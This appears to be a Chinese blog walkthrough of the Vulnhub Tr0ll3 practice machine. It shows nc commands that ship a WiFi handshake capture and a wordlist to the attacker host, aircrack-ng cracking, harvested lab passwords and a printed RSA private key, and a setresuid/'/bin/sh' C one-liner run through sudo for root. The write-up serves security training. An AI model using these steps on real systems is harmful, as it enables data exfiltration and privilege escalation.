[Vulnhub] Tr0ll3 aircrack-ng+lynx

信息收集

IP AddressOpening Ports
192.168.101.147TCP:22

image.png

$ ssh start@192.168.101.147

image-1.png

用户:Start

start@Tr0ll3:~$ find / -type f -perm 0777 2>/tmp/1

start@Tr0ll3:~$ cat /var/log/.dist-manage/wytshadow.cap | nc 192.168.101.128 10035

WIFI握手包

image-2.png

aircrack-ng 破解握手包

start@Tr0ll3:~$ cat /.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt | nc 192.168.101.128 10035

$ aircrack-ng -w gold_star.txt wytshadow.cap

image-3.png

用户:wytshadow

wytshadow:gaUoCe34t1

image-4.png

wytshadow@Tr0ll3:/home/start$ sudo -l

image-6.png

wytshadow@Tr0ll3:/home/start$ cat /etc/nginx/sites-available/default

image-7.png

wytshadow@Tr0ll3:/home/start$ sudo /usr/sbin/service nginx start
wytshadow@Tr0ll3:/home/start$ netstat -lnput

image-8.png

$ lynx http://192.168.101.147:8080

Lynx是一款文本模式的网页浏览器。它最初由Thomas Dickey在1992年开发,旨在为没有图形界面的终端用户提供网页浏览功能。Lynx在Unix和Linux系统上尤其流行,因为它可以通过命令行界面快速浏览网页而不需要图形界面支持

image-9.png

Username: genphlux
Password: HF9nd0cR!

用户:genphlux

genphlux@Tr0ll3:~$ su genphulx

image-10.png

genphlux@Tr0ll3:~$ file maleus

image-11.png

genphlux@Tr0ll3:~$ cat maleus

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwz5Hwer48U1t/Qi9JveuO+Z7WQlnmhOOs/2pZ0he/OyVsEFv
DsGib1wu/N8t+7h9JZK9x2GL33TXQBVCy6TxES90F1An+2DSza6lJPCyhcgK/DEp
yxSVt32A+lFo+PQJV6QYZlpRkek0MjUw5y/E5qZwdBypC55C4QzgQBN3+Lnuhuk4
u52xcK9/6/2N7JZCNYA21Tp1Uy9mty/65IT7OwKJd2rXp3O6rZYTD/vPl+Rt/LtN
gA1DbDODq0NCmvcrZL+SafSj+MABA3LCERw01gA4RMdyxJU6hVfjeSKOdwDQOGWe
eAVCL2GR/frwyf+rfN1kbpdw/RGXWWwVANMcaQIDAQABAoIBAGNudFztrZo2NK2I
pcwSl0kqN+dAQuLU0vgXVw6ibL2iPxlkOYrqUi8kY0mk32YyrolUEhJYO0Ox3W1l
Zn8PoTV/VUAKMlJzHOhi6PfHHSPEnNOSthYWhajM4cKZczxWC+v2RfbaSHBms45e
SGl0inJskRiRAAZKswSp6gq334FrS6Dwy1tiKvzCfR3kLQghV5U/PhFZCsq3xvAw
eXPx2toNtU2gYSGrKWTep+nAKM1neBxeZAujYuN4xJ5/Th2y0pyTvX9WEgzKPJ/G
PlYZYCUAKPCbabYSuZckjeiN1aS52AIFedECBfAIezOr08Wx/bI/xCOgBxrQgPrK
kRvlOYECgYEA5eCIEfdLhWdg3ltadYE0O5VAoXKrbxYWqSyw1Eyeqj0N1qD9Rsvg
jIQJazV5JcVBIF54f/jlCJozR5s5AELrY0Z/krea1lF5ecOSUQE3tp94298xzO3g
7BBe3g6pD56Cya/Vo0+YVQmAnBHLh6QIYvUUXXN2IyceT8fhEx5JA+sCgYEA2W4z
KKMVAdPxKcjVks1zdGmVlj1RsUkakYuLWV3jQe2w1naJrc37Khy5eWZaRJhXqeBb
1cvTMa+r/BF7jvItxglWoBJqXDxKI0a6KqWtloZL2ynoaBkAhR2btob6nSN63Bpg
ZYJKY1B5yYbDHK4k6QT7atn2g6DAv/7sW6skj/sCgYA16WTAIek6TjZvr6kVacng
N27C7mu6T8ncvzhxcc68SjlWnscHtYTiL40t8YqKCyrs9nr4OF0umUtxfbvujcM6
syv0Ms9DeDQvFGjaSpjQYbIsjrnVP+zCMEyvc2y+1wQBXRWTiXVGbEYXVC0RkKzO
2H+AMzX/pIr9Vvk4TJ//JQKBgFNJcy9NyO46UVbAJ49kQ6WEDFjQhEp0xkiaO3aw
EC1g7yw3m+WH0X4AIsvt+QXtlSbtWkA7I1sU/7w+tiW7fu0tBpGqfDN4pK1+mjFb
5XKTXttE4lF9wkU7Yjo42ib3QEivkd1QW05PtVcM2BBUZK8dyXDUrSkemrbw33j9
xbOhAoGBAL8uHuAs68ki/BWcmWUUer7Y+77YI/FFm3EvP270K5yn0WUjDJXwHpuz
Fg3n294GdjBtQmvyf2Wxin4rxl+1aWuj7/kS1/Fa35n8qCN+lkBzfNVA7f626KRA
wS3CudSkma8StmvgGKIU5YcO8f13/3QB6PPBgNoKnF5BlFFQJqhK
-----END RSA PRIVATE KEY-----

用户:maleus

$ chmod 600 key
$ ssh maleus@192.168.101.147 -i id_rsa

image-12.png

maleus@Tr0ll3:~$ cat .viminfo

image-13.png

password:B^slc8I$

权限提升

image-14.png

通过重新编译来获取ROOT权限

image-15.png

maleus@Tr0ll3:~$ echo -e 'int main (void){setresuid(0, 0, 0);system("/bin/sh");}'>dont_even_bother.c
maleus@Tr0ll3:~$ rm dont_even_bother
maleus@Tr0ll3:~$ gcc dont_even_bother.c -o dont_even_bother

image-16.png

maleus@Tr0ll3:~$ sudo /home/maleus/dont_even_bother

image-17.png

# cat /root/flag.txt

image-18.png

Pr00fThatTh3L33tHax0rG0tTheFl@g!!

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值